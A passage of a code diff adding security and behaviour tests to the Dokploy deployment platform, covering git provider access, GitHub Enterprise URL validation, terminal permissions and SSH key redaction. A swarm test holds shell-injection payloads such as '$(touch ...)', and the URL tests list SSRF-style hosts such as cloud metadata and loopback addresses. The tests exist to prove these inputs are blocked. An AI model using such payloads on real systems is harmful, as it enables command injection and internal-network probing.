+	sharedWithOrganization: false,
+};
+// Provider owned by someone else within ORG, not shared, not assigned.
+const providerOther = {
+	gitProviderId: "gp-other",
+	userId: "user-2",
+	sharedWithOrganization: false,
+};
+
+beforeEach(() => {
+	vi.clearAllMocks();
+	mockHasValidLicense.mockResolvedValue(false);
+	mockDb.query.gitProvider.findMany.mockResolvedValue([
+		providerMine,
+		providerOther,
+	]);
+	mockDb.query.member.findFirst.mockResolvedValue({
+		role: "member",
+		accessedGitProviders: [],
+	});
+});
+
+describe("assertGitProviderAccess (git provider IDOR guard)", () => {
+	it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => {
+		await expect(
+			assertGitProviderAccess(session, {
+				gitProviderId: "gp-mine",
+				organizationId: "org-2",
+			}),
+		).rejects.toMatchObject({ code: "NOT_FOUND" });
+	});
+
+	it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => {
+		await expect(
+			assertGitProviderAccess(session, {
+				gitProviderId: "gp-other",
+				organizationId: ORG,
+			}),
+		).rejects.toMatchObject({ code: "FORBIDDEN" });
+	});
+
+	it("allows a same-org provider the caller owns", async () => {
+		await expect(
+			assertGitProviderAccess(session, {
+				gitProviderId: "gp-mine",
+				organizationId: ORG,
+			}),
+		).resolves.toBeUndefined();
+	});
+
+	it("throws a TRPCError so tRPC maps the HTTP status", async () => {
+		const err = await assertGitProviderAccess(session, {
+			gitProviderId: "gp-mine",
+			organizationId: "org-2",
+		}).catch((e) => e);
+		expect(err).toBeInstanceOf(TRPCError);
+	});
+});

apps/dokploy/__test__/git-provider/github-clone-host.test.ts

@@ -0,0 +1,106 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+// cloneGithubRepository builds a shell command; the only thing under test here
+// is which host ends up in the clone URL, so the app auth is stubbed out.
+const mockFindGithubById = vi.hoisted(() => vi.fn());
+
+vi.mock("@dokploy/server/services/github", () => ({
+	findGithubById: mockFindGithubById,
+}));
+
+vi.mock("@octokit/auth-app", () => ({
+	createAppAuth: vi.fn(),
+}));
+
+vi.mock("octokit", () => ({
+	Octokit: class {
+		auth = async () => ({ token: "gh-token" });
+	},
+}));
+
+const { cloneGithubRepository } = await import(
+	"@dokploy/server/utils/providers/github"
+);
+
+const provider = (githubUrl: string) => ({
+	githubId: "gh-1",
+	githubUrl,
+	githubAppId: 1,
+	githubPrivateKey: "key",
+	githubInstallationId: "42",
+});
+
+const clone = async () => {
+	const command = await cloneGithubRepository({
+		appName: "my-app",
+		owner: "acme",
+		repository: "web",
+		branch: "main",
+		githubId: "gh-1",
+		enableSubmodules: false,
+		serverId: null,
+	});
+	return command.replace(/\\/g, "");
+};
+
+describe("cloneGithubRepository host", () => {
+	beforeEach(() => {
+		vi.clearAllMocks();
+	});
+
+	it("clones from github.com for a default provider", async () => {
+		mockFindGithubById.mockResolvedValue(provider("https://github.com"));
+
+		const command = await clone();
+
+		expect(command).toContain(
+			"https://oauth2:gh-token@github.com/acme/web.git",
+		);
+		expect(command).not.toContain("ghe.com");
+	});
+
+	it("clones from the Enterprise host, not github.com", async () => {
+		mockFindGithubById.mockResolvedValue(provider("https://acme.ghe.com"));
+
+		const command = await clone();
+
+		expect(command).toContain(
+			"https://oauth2:gh-token@acme.ghe.com/acme/web.git",
+		);
+		expect(command).not.toContain("github.com");
+	});
+
+	it("clones from a self-hosted Enterprise Server host", async () => {
+		mockFindGithubById.mockResolvedValue(
+			provider("https://github.corp.acme.com"),
+		);
+
+		const command = await clone();
+
+		expect(command).toContain(
+			"https://oauth2:gh-token@github.corp.acme.com/acme/web.git",
+		);
+	});
+
+	it("keeps an explicit port in the clone host", async () => {
+		mockFindGithubById.mockResolvedValue(
+			provider("https://github.acme.com:8443"),
+		);
+
+		const command = await clone();
+
+		expect(command).toContain(
+			"https://oauth2:gh-token@github.acme.com:8443/acme/web.git",
+		);
+	});
+
+	it("falls back to github.com for a provider stored before this feature", async () => {
+		mockFindGithubById.mockResolvedValue(provider(""));
+
+		const command = await clone();
+
+		expect(command).toContain(
+			"https://oauth2:gh-token@github.com/acme/web.git",
+		);
+	});
+});

apps/dokploy/__test__/git-provider/github-enterprise-url.test.ts

@@ -0,0 +1,168 @@
+import {
+	DEFAULT_GITHUB_API_URL,
+	DEFAULT_GITHUB_URL,
+	deriveGithubApiUrl,
+	normalizeGithubUrl,
+	parseGithubBaseUrl,
+} from "@dokploy/server/utils/providers/github";
+import { describe, expect, it } from "vitest";
+
+const urlOf = (result: ReturnType<typeof parseGithubBaseUrl>) =>
+	"url" in result ? result.url : null;
+
+describe("normalizeGithubUrl", () => {
+	it("defaults to github.com when empty", () => {
+		expect(normalizeGithubUrl("")).toBe(DEFAULT_GITHUB_URL);
+		expect(normalizeGithubUrl(null)).toBe(DEFAULT_GITHUB_URL);
+		expect(normalizeGithubUrl(undefined)).toBe(DEFAULT_GITHUB_URL);
+		expect(normalizeGithubUrl("   ")).toBe(DEFAULT_GITHUB_URL);
+	});
+
+	it("assumes https when no scheme is given", () => {
+		expect(normalizeGithubUrl("acme.ghe.com")).toBe("https://acme.ghe.com");
+	});
+
+	it("strips paths, queries and trailing slashes", () => {
+		expect(normalizeGithubUrl("https://acme.ghe.com/")).toBe(
+			"https://acme.ghe.com",
+		);
+		expect(normalizeGithubUrl("https://acme.ghe.com///")).toBe(
+			"https://acme.ghe.com",
+		);
+		expect(normalizeGithubUrl("https://github.acme.com/some/path?x=1")).toBe(
+			"https://github.acme.com",
+		);
+	});
+
+	it("keeps an explicit port", () => {
+		expect(normalizeGithubUrl("https://github.acme.com:8443")).toBe(
+			"https://github.acme.com:8443",
+		);
+	});
+
+	it("falls back to github.com on unusable input", () => {
+		expect(normalizeGithubUrl("ftp://github.acme.com")).toBe(
+			DEFAULT_GITHUB_URL,
+		);
+		expect(normalizeGithubUrl("http://github.internal")).toBe(
+			DEFAULT_GITHUB_URL,
+		);
+		expect(normalizeGithubUrl("https://")).toBe(DEFAULT_GITHUB_URL);
+	});
+});
+
+describe("parseGithubBaseUrl", () => {
+	it("accepts github.com and Enterprise hosts", () => {
+		expect(urlOf(parseGithubBaseUrl("https://acme.ghe.com"))).toBe(
+			"https://acme.ghe.com",
+		);
+		// A self-hosted instance behind the corporate network is a valid target.
+		expect(urlOf(parseGithubBaseUrl("https://github.corp.acme.com"))).toBe(
+			"https://github.corp.acme.com",
+		);
+		expect(urlOf(parseGithubBaseUrl("https://github.acme.com:8443"))).toBe(
+			"https://github.acme.com:8443",
+		);
+	});
+
+	it("treats an absent value as github.com", () => {
+		// Not specified is different from specified wrong.
+		expect(urlOf(parseGithubBaseUrl(undefined))).toBe(DEFAULT_GITHUB_URL);
+		expect(urlOf(parseGithubBaseUrl(null))).toBe(DEFAULT_GITHUB_URL);
+		expect(urlOf(parseGithubBaseUrl("  "))).toBe(DEFAULT_GITHUB_URL);
+	});
+
+	it("rejects plaintext http", () => {
+		expect(parseGithubBaseUrl("http://acme.ghe.com")).toHaveProperty("error");
+		expect(parseGithubBaseUrl("http://localhost:2375")).toHaveProperty("error");
+	});
+
+	it("rejects dotless hostnames", () => {
+		expect(parseGithubBaseUrl("https://metadata")).toHaveProperty("error");
+		expect(parseGithubBaseUrl("https://localhost")).toHaveProperty("error");
+	});
+
+	it("rejects a dotless hostname hidden behind the DNS root label", () => {
+		// "metadata." resolves like "metadata" but the trailing dot would satisfy
+		// a naive `includes(".")` check.
+		expect(parseGithubBaseUrl("https://metadata.")).toHaveProperty("error");
+		expect(parseGithubBaseUrl("https://localhost.")).toHaveProperty("error");
+	});
+
+	it("never falls back to github.com on a typo", () => {
+		// The symptom that opened the ticket: a provider silently pointing at
+		// github.com and reporting that it cannot find the repositories.
+		for (const typo of [
+			"htps://acme.ghe.com",
+			"ftp://acme.ghe.com",
+			"https://",
+			"acme .ghe.com",
+		]) {
+			const result = parseGithubBaseUrl(typo);
+			expect(result, typo).toHaveProperty("error");
+			expect(urlOf(result), typo).not.toBe(DEFAULT_GITHUB_URL);
+		}
+	});
+});
+
+describe("deriveGithubApiUrl", () => {
+	it("maps github.com to api.github.com", () => {
+		expect(deriveGithubApiUrl("https://github.com")).toBe(
+			DEFAULT_GITHUB_API_URL,
+		);
+		expect(deriveGithubApiUrl("https://www.github.com")).toBe(
+			DEFAULT_GITHUB_API_URL,
+		);
+		expect(deriveGithubApiUrl(undefined)).toBe(DEFAULT_GITHUB_API_URL);
+	});
+
+	it("prefixes api. for data residency tenants", () => {
+		expect(deriveGithubApiUrl("https://acme.ghe.com")).toBe(
+			"https://api.acme.ghe.com",
+		);
+		expect(deriveGithubApiUrl("americancreditacceptance.ghe.com")).toBe(
+			"https://api.americancreditacceptance.ghe.com",
+		);
+	});
+
+	it("uses /api/v3 for Enterprise Server", () => {
+		expect(deriveGithubApiUrl("https://github.acme.com")).toBe(
+			"https://github.acme.com/api/v3",
+		);
+		expect(deriveGithubApiUrl("https://github.acme.com:8443")).toBe(
+			"https://github.acme.com:8443/api/v3",
+		);
+	});
+
+	it("does not treat a lookalike host as data residency", () => {
+		// Must not match the .ghe.com branch just because the string contains it.
+		expect(deriveGithubApiUrl("https://ghe.com.acme.io")).toBe(
+			"https://ghe.com.acme.io/api/v3",
+		);
+	});
+
+	it("still detects data residency behind the DNS root label", () => {
+		// "acme.ghe.com." would otherwise miss endsWith(".ghe.com") and fall
+		// through to the /api/v3 branch.
+		expect(deriveGithubApiUrl("https://acme.ghe.com.")).toBe(
+			"https://api.acme.ghe.com",
+		);
+	});
+
+	it("maps www.github.com, which a user may well type", () => {
+		// Not dead weight: GitHub never redirects a manifest there, but the value
+		// comes from a text field. Without this it would derive
+		// https://www.github.com/api/v3.
+		expect(deriveGithubApiUrl("https://www.github.com")).toBe(
+			DEFAULT_GITHUB_API_URL,
+		);
+	});
+});
+
+describe("providers created before Enterprise support", () => {
+	it("keeps pointing at github.com", () => {
+		// The column defaults to https://github.com, but a null must not break it.
+		expect(deriveGithubApiUrl(null)).toBe(DEFAULT_GITHUB_API_URL);
+		expect(new URL(normalizeGithubUrl(null)).host).toBe("github.com");
+	});
+});

apps/dokploy/__test__/git-provider/github-setup-handler.test.ts

@@ -0,0 +1,143 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+// The gh_init branch runs on a GET the user can be linked into, so a rejected
+// host must produce a 400 *before* any outbound request is made.
+const mockValidateRequest = vi.hoisted(() => vi.fn());
+const mockHasPermission = vi.hoisted(() => vi.fn());
+const mockCreateGithub = vi.hoisted(() => vi.fn());
+const mockOctokitRequest = vi.hoisted(() => vi.fn());
+
+vi.mock("@dokploy/server", async (importOriginal) => {
+	const actual = await importOriginal<typeof import("@dokploy/server")>();
+	return {
+		...actual,
+		validateRequest: mockValidateRequest,
+		createGithub: mockCreateGithub,
+	};
+});
+
+vi.mock("@dokploy/server/services/permission", () => ({
+	hasPermission: mockHasPermission,
+}));
+
+vi.mock("octokit", () => ({
+	Octokit: class {
+		request = mockOctokitRequest;
+	},
+}));
+
+const { default: handler } = await import("@/pages/api/providers/github/setup");
+
+const ORG = "org-1";
+const USER = "user-1";
+
+const buildRes = () => {
+	const res = {
+		statusCode: 0,
+		body: undefined as unknown,
+		redirectedTo: undefined as string | undefined,
+		status(code: number) {
+			res.statusCode = code;
+			return res;
+		},
+		json(payload: unknown) {
+			res.body = payload;
+			return res;
+		},
+		redirect(_code: number, url: string) {
+			res.redirectedTo = url;
+			return res;
+		},
+	};
+	return res;
+};
+
+const call = async (githubUrl?: string | string[]) => {
+	const res = buildRes();
+	const req = {
+		query: {
+			code: "manifest-code",
+			state: `gh_init:${ORG}:${USER}`,
+			...(githubUrl === undefined ? {} : { githubUrl }),
+		},
+		headers: {},
+	} as unknown as Parameters<typeof handler>[0];
+
+	await handler(req, res as unknown as Parameters<typeof handler>[1]);
+	return res;
+};
+
+describe("github setup handler — host validation", () => {
+	beforeEach(() => {
+		vi.clearAllMocks();
+		mockValidateRequest.mockResolvedValue({
+			user: { id: USER },
+			session: { activeOrganizationId: ORG },
+		});
+		mockHasPermission.mockResolvedValue(true);
+		mockOctokitRequest.mockResolvedValue({
+			data: {
+				name: "Dokploy",
+				html_url: "https://acme.ghe.com/apps/dokploy",
+				id: 1,
+				client_id: "cid",
+				client_secret: "csecret",
+				webhook_secret: "wsecret",
+				pem: "key",
+			},
+		});
+		mockCreateGithub.mockResolvedValue(undefined);
+	});
+
+	it.each([
+		["http://acme.ghe.com", "plaintext http"],
+		["http://localhost:2375", "internal service over http"],
+		["https://metadata", "dotless hostname"],
+		["htps://acme.ghe.com", "scheme typo"],
+	])("rejects %s (%s) with 400 and no outbound request", async (githubUrl) => {
+		const res = await call(githubUrl);
+
+		expect(res.statusCode).toBe(400);
+		expect(mockOctokitRequest).not.toHaveBeenCalled();
+		expect(mockCreateGithub).not.toHaveBeenCalled();
+	});
+
+	it("throws on a repeated parameter instead of silently picking one", async () => {
+		// ?githubUrl=a&githubUrl=b reaches .trim() on an array.
+		await expect(
+			call(["https://acme.ghe.com", "https://evil.com"]),
+		).rejects.toThrow();
+
+		expect(mockCreateGithub).not.toHaveBeenCalled();
+	});
+
+	it("accepts a data residency tenant", async () => {
+		await call("https://acme.ghe.com");
+
+		expect(mockCreateGithub).toHaveBeenCalledWith(
+			expect.objectContaining({ githubUrl: "https://acme.ghe.com" }),
+			ORG,
+			USER,
+		);
+	});
+
+	it("accepts a self-hosted Enterprise Server host", async () => {
+		await call("https://github.corp.acme.com");
+
+		expect(mockCreateGithub).toHaveBeenCalledWith(
+			expect.objectContaining({ githubUrl: "https://github.corp.acme.com" }),
+			ORG,
+			USER,
+		);
+	});
+
+	it("treats an absent parameter as github.com", async () => {
+		await call(undefined);
+
+		expect(mockCreateGithub).toHaveBeenCalledWith(
+			expect.objectContaining({ githubUrl: "https://github.com" }),
+			ORG,
+			USER,
+		);
+	});
+});

apps/dokploy/__test__/git-provider/github-url-parity.test.ts

@@ -0,0 +1,75 @@
+import { parseGithubBaseUrl } from "@dokploy/server/utils/providers/github";
+import { describe, expect, it } from "vitest";
+import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils";
+
+/**
+ * The client cannot import from @dokploy/server (node-only modules), so
+ * resolveGithubBaseUrl duplicates parseGithubBaseUrl. Nothing but this file
+ * stops the two from drifting apart — and they already did once, when the
+ * client stripped trailing slashes but not paths and the form action disagreed
+ * with the persisted row.
+ *
+ * The invariant: for the same input, both must make the same accept/reject
+ * decision, and agree on the URL when they accept.
+ */
+const INPUTS = [
+	// Accepted
+	"https://github.com",
+	"github.com",
+	"https://acme.ghe.com",
+	"acme.ghe.com",
+	"https://github.corp.acme.com",
+	"https://github.acme.com:8443",
+	"https://acme.ghe.com/",
+	"https://acme.ghe.com///",
+	"https://acme.ghe.com/enterprises/foo",
+	"https://acme.ghe.com/some/path?x=1",
+	"  acme.ghe.com  ",
+	"https://acme.ghe.com.",
+	"https://169.254.169.254",
+	"https://127.0.0.1",
+	"https://2130706433",
+	"https://0x7f.1",
+	"",
+	"   ",
+	// Rejected
+	"http://acme.ghe.com",
+	"http://localhost:2375",
+	"https://[::1]",
+	"https://[::ffff:127.0.0.1]",
+	"https://metadata",
+	"https://metadata.",
+	"https://localhost",
+	"https://localhost.",
+	"htps://acme.ghe.com",
+	"ftp://acme.ghe.com",
+	"https://",
+	"acme .ghe.com",
+	"esto no es una url",
+];
+
+describe("client and server agree on GitHub base URLs", () => {
+	it.each(INPUTS)("%j", (input) => {
+		const client = resolveGithubBaseUrl(input);
+		const server = parseGithubBaseUrl(input);
+
+		const clientAccepted = !client.error;
+		const serverAccepted = "url" in server;
+
+		expect(
+			clientAccepted,
+			`accept/reject differs for ${JSON.stringify(input)}`,
+		).toBe(serverAccepted);
+
+		if (clientAccepted && "url" in server) {
+			expect(client.baseUrl, `resolved URL differs for ${input}`).toBe(
+				server.url,
+			);
+		}
+	});
+
+	it("both treat an empty value as github.com", () => {
+		expect(resolveGithubBaseUrl("").baseUrl).toBe(DEFAULT_GITHUB_URL);
+		expect(parseGithubBaseUrl("")).toEqual({ url: DEFAULT_GITHUB_URL });
+	});
+});

apps/dokploy/__test__/logs/container-selection.test.ts

@@ -0,0 +1,41 @@
+import { describe, expect, it } from "vitest";
+import { resolveContainerSelection } from "@/components/dashboard/docker/logs/utils";
+
+const containers = [
+	{ containerId: "first-container" },
+	{ containerId: "selected-container" },
+];
+
+describe("resolveContainerSelection", () => {
+	it("selects the first container when no container is selected", () => {
+		expect(resolveContainerSelection(undefined, containers)).toBe(
+			"first-container",
+		);
+	});
+
+	it("preserves a manual selection when refreshed data contains it", () => {
+		const refreshedContainers = containers.map((container) => ({
+			...container,
+		}));
+
+		expect(
+			resolveContainerSelection("selected-container", refreshedContainers),
+		).toBe("selected-container");
+	});
+
+	it("falls back to the first container when the selection disappears", () => {
+		expect(resolveContainerSelection("removed-container", containers)).toBe(
+			"first-container",
+		);
+	});
+
+	it("keeps the current selection while container data is loading", () => {
+		expect(resolveContainerSelection("selected-container", undefined)).toBe(
+			"selected-container",
+		);
+	});
+
+	it("clears the selection when no containers are available", () => {
+		expect(resolveContainerSelection("selected-container", [])).toBeUndefined();
+	});
+});

apps/dokploy/__test__/logs/log-classification.test.ts

@@ -0,0 +1,42 @@
+import { getLogType } from "@/components/dashboard/docker/logs/utils";
+import { expect, test } from "vitest";
+
+test("classifies real failures as error", () => {
+	expect(getLogType("Error: connection refused at db:5432").type).toBe("error");
+	expect(getLogType("[ERROR] something went wrong").type).toBe("error");
+	expect(getLogType("Deployment failed").type).toBe("error");
+	expect(
+		getLogType(
+			'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326ms", failed: true, skipped: false, error: exit code 1',
+		).type,
+	).toBe("error");
+});
+
+test("does not classify explicit non-error key/values as error (#4538)", () => {
+	// ofelia job-completion summary for a successful run
+	expect(
+		getLogType(
+			'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326.16795ms", failed: false, skipped: false, error: none',
+		).type,
+	).not.toBe("error");
+
+	expect(getLogType("request done, error: null").type).not.toBe("error");
+	expect(getLogType("checks passed, failures=0").type).not.toBe("error");
+	expect(getLogType('shutdown clean, error=""').type).not.toBe("error");
+	expect(getLogType('job done failed=false error=""').type).not.toBe("error");
+});
+
+test("keeps errors whose value merely starts with a no-error word", () => {
+	expect(getLogType("connect failed: no route to host").type).toBe("error");
+	expect(getLogType("connection failed: no such host").type).toBe("error");
+	expect(
+		getLogType("error: none of the configured nodes are available").type,
+	).toBe("error");
+	expect(getLogType("error: nil pointer dereference").type).toBe("error");
+	expect(getLogType("request failed: 0 bytes received").type).toBe("error");
+});
+
+test("keeps statusCode-based classification", () => {
+	expect(getLogType('{"statusCode": "500"}').type).toBe("error");
+	expect(getLogType('{"statusCode": "204"}').type).toBe("success");
+});

apps/dokploy/__test__/permissions/check-permission.test.ts

@@ -126,6 +126,13 @@ describe("member is denied org-level enterprise resources (CVE: bypass via stati
 		await expect(checkPermission(ctx, { server: ["read"] })).rejects.toThrow();
 	});
 
+	it("member is denied server.terminal", async () => {
+		memberToReturn = mockMemberData("member");
+		await expect(
+			checkPermission(ctx, { server: ["terminal"] }),
+		).rejects.toThrow();
+	});
+
 	it("member is denied registry.create", async () => {
 		memberToReturn = mockMemberData("member");
 		await expect(

apps/dokploy/__test__/permissions/enterprise-only-resources.test.ts

@@ -39,6 +39,8 @@ const ENTERPRISE_RESOURCES = [
 	"logs",
 	"monitoring",
 	"auditLog",
+	"vaultProvider",
+	"dnsProvider",
 ];
 
 describe("enterpriseOnlyResources set", () => {

apps/dokploy/__test__/permissions/resolve-permissions.test.ts

@@ -105,6 +105,7 @@ describe("enterprise resources for static roles", () => {
 		const perms = await resolvePermissions(ctx);
 
 		expect(perms.server.read).toBe(false);
+		expect(perms.server.terminal).toBe(false);
 		expect(perms.registry.read).toBe(false);
 		expect(perms.certificate.read).toBe(false);
 		expect(perms.destination.read).toBe(false);

apps/dokploy/__test__/permissions/server-terminal.test.ts

@@ -0,0 +1,105 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const mockMemberData = (role: string) => ({
+	id: "member-1",
+	role,
+	userId: "user-1",
+	organizationId: "org-1",
+	accessedProjects: [] as string[],
+	accessedServices: [] as string[],
+	accessedEnvironments: [] as string[],
+	accessedServers: [] as string[],
+	canCreateProjects: false,
+	canDeleteProjects: false,
+	canCreateServices: false,
+	canDeleteServices: false,
+	canCreateEnvironments: false,
+	canDeleteEnvironments: false,
+	canAccessToTraefikFiles: false,
+	canAccessToDocker: false,
+	canAccessToAPI: false,
+	canAccessToSSHKeys: false,
+	canAccessToGitProviders: false,
+	user: { id: "user-1", email: "test@test.com" },
+});
+
+let memberToReturn = mockMemberData("deployer");
+let rolesToReturn: { permission: string }[] = [];
+
+vi.mock("@dokploy/server/db", () => ({
+	db: {
+		query: {
+			member: {
+				findFirst: vi.fn(() => Promise.resolve(memberToReturn)),
+				findMany: vi.fn(() => Promise.resolve([])),
+			},
+			organizationRole: {
+				findFirst: vi.fn(),
+				findMany: vi.fn(() => Promise.resolve(rolesToReturn)),
+			},
+		},
+	},
+}));
+
+vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
+	hasValidLicense: vi.fn(() => Promise.resolve(true)),
+}));
+
+const { checkPermission, resolvePermissions } = await import(
+	"@dokploy/server/services/permission"
+);
+
+const ctx = {
+	user: { id: "user-1" },
+	session: { activeOrganizationId: "org-1" },
+};
+
+const withPermissions = (permissions: Record<string, string[]>) => {
+	rolesToReturn = [{ permission: JSON.stringify(permissions) }];
+};
+
+beforeEach(() => {
+	vi.clearAllMocks();
+	memberToReturn = mockMemberData("deployer");
+	rolesToReturn = [];
+});
+
+describe("server.terminal on custom roles", () => {
+	it("a role with server.read alone cannot open a terminal", async () => {
+		withPermissions({ server: ["read"] });
+
+		await expect(
+			checkPermission(ctx, { server: ["read"] }),
+		).resolves.toBeUndefined();
+		await expect(
+			checkPermission(ctx, { server: ["terminal"] }),
+		).rejects.toThrow();
+
+		const perms = await resolvePermissions(ctx);
+		expect(perms.server.read).toBe(true);
+		expect(perms.server.terminal).toBe(false);
+	});
+
+	it("a role with server.terminal can open a terminal", async () => {
+		withPermissions({ server: ["read", "terminal"] });
+
+		await expect(
+			checkPermission(ctx, { server: ["terminal"] }),
+		).resolves.toBeUndefined();
+
+		const perms = await resolvePermissions(ctx);
+		expect(perms.server.terminal).toBe(true);
+	});
+
+	it("owner and admin keep terminal access", async () => {
+		for (const role of ["owner", "admin"]) {
+			memberToReturn = mockMemberData(role);
+			await expect(
+				checkPermission(ctx, { server: ["terminal"] }),
+			).resolves.toBeUndefined();
+
+			const perms = await resolvePermissions(ctx);
+			expect(perms.server.terminal).toBe(true);
+		}
+	});
+});

apps/dokploy/__test__/requests/request.test.ts

@@ -55,6 +55,28 @@ describe("processLogs", () => {
 		expect(result.data).toHaveLength(2);
 	});
 
+	it("should not throw when filtering by hostname and an entry has no RequestHost", () => {
+		const entryWithoutRequestHost = sampleLogEntry.replace(
+			/"RequestHost":"[^"]*",/,
+			"",
+		);
+
+		const mixedEntries = `${sampleLogEntry}\n${entryWithoutRequestHost}`;
+
+		expect(() =>
+			parseRawConfig(mixedEntries, undefined, undefined, "traefik.me"),
+		).not.toThrow();
+
+		const result = parseRawConfig(
+			mixedEntries,
+			undefined,
+			undefined,
+			"traefik.me",
+		);
+		expect(result.totalCount).toBe(1);
+		expect(result.data[0]?.RequestHost).toBe("s222-umami-c381af.traefik.me");
+	});
+
 	it("should filter out Dokploy dashboard requests", () => {
 		const dokployDashboardEntry = `{"ClientAddr":"172.71.187.131:9485","ClientHost":"172.71.187.131","ClientPort":"9485","ClientUsername":"-","DownstreamContentSize":14550,"DownstreamStatus":200,"Duration":57681682,"OriginContentSize":14550,"OriginDuration":57612242,"OriginStatus":200,"Overhead":69440,"RequestAddr":"hostinger.dokploy.com","RequestContentSize":0,"RequestCount":20142,"RequestHost":"hostinger.dokploy.com","RequestMethod":"GET","RequestPath":"/_next/data/cb_zzI4Rp9G7Q7djrFKh0/en/dashboard/traefik.json","RequestPort":"-","RequestProtocol":"HTTP/2.0","RequestScheme":"https","RetryAttempts":0,"RouterName":"dokploy-router-app-secure@file","ServiceAddr":"dokploy:3000","ServiceName":"dokploy-service-app@file","ServiceURL":"http://dokploy:3000","StartLocal":"2025-12-10T05:10:41.957755949Z","StartUTC":"2025-12-10T05:10:41.957755949Z","TLSCipher":"TLS_AES_128_GCM_SHA256","TLSVersion":"1.3","entryPointName":"websecure","level":"info","msg":"","time":"2025-12-10T05:10:42Z"}`;
 

apps/dokploy/__test__/server/server-health-subnet.test.ts

@@ -0,0 +1,24 @@
+import { getSubnetCapacity } from "@dokploy/server/services/server-health";
+import { describe, expect, test } from "vitest";
+
+describe("getSubnetCapacity", () => {
+	test("returns null for missing/invalid input", () => {
+		expect(getSubnetCapacity(undefined)).toBeNull();
+		expect(getSubnetCapacity("")).toBeNull();
+		expect(getSubnetCapacity("10.0.0.0")).toBeNull();
+		expect(getSubnetCapacity("not-a-subnet")).toBeNull();
+		expect(getSubnetCapacity("10.0.0.0/33")).toBeNull();
+		expect(getSubnetCapacity("10.0.0.0/-1")).toBeNull();
+	});
+
+	test("excludes network and broadcast addresses", () => {
+		expect(getSubnetCapacity("10.0.1.0/24")).toBe(254);
+		expect(getSubnetCapacity("10.0.0.0/16")).toBe(65534);
+		expect(getSubnetCapacity("10.99.99.0/30")).toBe(2);
+	});
+
+	test("returns 0 for subnets too small to hold a host", () => {
+		expect(getSubnetCapacity("10.0.0.0/31")).toBe(0);
+		expect(getSubnetCapacity("10.0.0.0/32")).toBe(0);
+	});
+});

apps/dokploy/__test__/server/server-sshkey-redaction.test.ts

@@ -0,0 +1,44 @@
+import { redactServerSshKey } from "@dokploy/server/services/server";
+import { describe, expect, it } from "vitest";
+
+describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
+	it("blanks the private key while keeping the rest of the ssh key intact", () => {
+		const server = {
+			serverId: "srv-1",
+			name: "prod",
+			sshKey: {
+				sshKeyId: "key-1",
+				publicKey: "ssh-ed25519 AAAA...",
+				privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
+			},
+		};
+
+		const redacted = redactServerSshKey(server);
+
+		expect(redacted.sshKey.privateKey).toBe("");
+		// Non-secret fields and the surrounding record must survive untouched.
+		expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
+		expect(redacted.serverId).toBe("srv-1");
+		expect(redacted.name).toBe("prod");
+	});
+
+	it("does not mutate the original record", () => {
+		const server = {
+			serverId: "srv-1",
+			sshKey: { privateKey: "top-secret" },
+		};
+		redactServerSshKey(server);
+		expect(server.sshKey.privateKey).toBe("top-secret");
+	});
+
+	it("is a no-op when the server has no ssh key", () => {
+		const server = { serverId: "srv-2", sshKey: null };
+		expect(redactServerSshKey(server)).toEqual(server);
+	});
+
+	it("handles a record without a loaded sshKey relation", () => {
+		// e.g. server.update returns the plain row where sshKey is not populated.
+		const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
+		expect(redactServerSshKey(server)).toEqual(server);
+	});
+});

apps/dokploy/__test__/server/swarm-nodeid-injection.test.ts

@@ -0,0 +1,41 @@
+import { execSync } from "node:child_process";
+import { existsSync, rmSync } from "node:fs";
+import { quote } from "shell-quote";
+import { describe, expect, it } from "vitest";
+
+// Mirrors how getNodeInfo builds its command in services/docker.ts:
+//   `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
+// We swap `docker node inspect` for `:` (a no-op) so the test only exercises
+// whether the nodeId payload can break out of the command, not real docker.
+const buildCommand = (nodeId: string) =>
+	`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
+
+const INJECTION_NODE_IDS = [
+	"$(touch %MARK%)",
+	"`touch %MARK%`",
+	"; touch %MARK%",
+	"abc | touch %MARK%",
+	"&& touch %MARK%",
+];
+
+describe("getNodeInfo nodeId command injection", () => {
+	it("does not execute injected commands from the nodeId", () => {
+		const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
+		for (const template of INJECTION_NODE_IDS) {
+			if (existsSync(mark)) rmSync(mark);
+			const nodeId = template.replace("%MARK%", mark);
+			try {
+				execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
+			} catch {
+				// A non-zero exit from the no-op is fine; we only care about the marker.
+			}
+			expect(existsSync(mark)).toBe(false);
+		}
+		if (existsSync(mark)) rmSync(mark);
+	});
+
+	it("keeps a legitimate node id intact as a single literal token", () => {
+		const nodeId = "abc123def456";
+		expect(quote([nodeId])).toBe(nodeId);
+	});
+});

apps/dokploy/__test__/services/overview-backups-icon.test.ts

@@ -0,0 +1,113 @@
+import {
+	getBackupOverviewIcon,
+	getServiceOverviewIcon,
+} from "@dokploy/server/services/overview";
+import { describe, expect, test } from "vitest";
+
+describe("getServiceOverviewIcon", () => {
+	test("returns a db icon for every known DB engine type", () => {
+		for (const type of [
+			"postgres",
+			"mariadb",
+			"mysql",
+			"mongo",
+			"redis",
+			"libsql",
+		] as const) {
+			expect(getServiceOverviewIcon({ type, icon: null })).toEqual({
+				kind: "db",
+				engine: type,
+			});
+		}
+	});
+
+	test("returns a custom icon for application/compose with a service icon set", () => {
+		expect(
+			getServiceOverviewIcon({
+				type: "application",
+				icon: "data:image/png;base64,x",
+			}),
+		).toEqual({ kind: "custom", url: "data:image/png;base64,x" });
+		expect(
+			getServiceOverviewIcon({
+				type: "compose",
+				icon: "data:image/png;base64,y",
+			}),
+		).toEqual({ kind: "custom", url: "data:image/png;base64,y" });
+	});
+
+	test("falls back to a generic icon for application/compose without a service icon", () => {
+		expect(getServiceOverviewIcon({ type: "application", icon: null })).toEqual(
+			{
+				kind: "generic",
